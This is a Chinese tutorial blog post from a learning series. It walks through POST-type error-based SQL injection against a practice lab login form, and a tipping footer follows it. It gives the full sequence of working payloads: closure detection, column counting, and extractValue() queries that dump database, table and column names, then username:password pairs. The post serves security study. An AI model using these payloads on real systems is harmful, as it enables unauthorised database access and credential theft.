35岁重学网络安全——SQL注入篇(十八)

鲁迅先生曾经说过:做安全,先免责!

用户在使用本文信息时,应自行承担风险。本文不对用户因使用本文信息而导致的任何直接或间接损失承担责任。

本文主要内容:报错注入(POST型)

PS:POST型与GET型注入流程相同,只是提交方式不同。如果有不理解的地方,建议回看GET型注入。

POST型报错注入

前面已经用过报错注入(extractValue()updateXML()floor()),用法相同,只是提交方式不同。如果忘记,可以参考前面的内容。下面以extractValue()报错注入为演示,其他两种报错注入同理。

案例演示

使用靶场第13节

在这里插入图片描述

1. 靶场分析

当输入用户名和密码后,点击提交。页面显示登录成功,但是页面中没有显示任何内容。
可以推测是否为报错注入或盲注。
在这里插入图片描述

在用户名框中输入:andmin' or 1=1,页面中出现报错信息,报错注入的可能性增大
在这里插入图片描述

分析一下报错信息:near '') and password=('') LIMIT 0,1'

  • 可以看到''),第一个单引号是admin后面我们输入的单引号,第二个单引号和右括号是闭合方式(')
  • 而且从password=('')中同样可以得出使用('')进行闭合

在这里插入图片描述

2. 判断注入类型与闭合方式

上面的分析,可以得出,是字符型注入且闭合方式为')
注入类型和闭合方式的判断相对不是那么固定,慢慢积累经验即可。

3. 判断列数

参数:uname=andmin') order by 3 #&passwd=admin&Submit=Submit,页面报错,说明列数小于3
在这里插入图片描述

参数:uname=andmin') order by 2 #&passwd=admin&Submit=Submit,页面未报错,说明列数等于2
在这里插入图片描述

4. 查询数据库名称

参数:uname=andmin') union select 1,extractValue(1,concat('^',(select database()))) #&passwd=admin&Submit=Submit

在这里插入图片描述

5. 查询表名

参数:uname=andmin') union select 1,extractValue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=(database())))) #&passwd=admin&Submit=Submit
在这里插入图片描述

6. 查询列名

参数:uname=andmin') union select 1,extractValue(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_schema=(database()) and table_name='users'))) #&passwd=admin&Submit=Submit

在这里插入图片描述

7. 查询数据

报错注入存在字符长度显示问题。因此使用substr()进行查询
查询前30个字符的数据:uname=andmin') union select 1,extractValue(1,concat('^',(select substr(group_concat(username,':',password),1,30) from users))) #&passwd=admin&Submit=Submit

在这里插入图片描述

查询第31~60个字符的数据:uname=andmin') union select 1,extractValue(1,concat('^',(select substr(group_concat(username,':',password),31,60) from users))) #&passwd=admin&Submit=Submit
在这里插入图片描述

无情的广告时间

哈哈哈哈,又到了大家喜欢的广告时间了,公众号:编码魔坊,喜欢的话给个关注呗,点击下方小卡片,扫码即可关注,谢谢您的关注!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

道人禅(armey)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值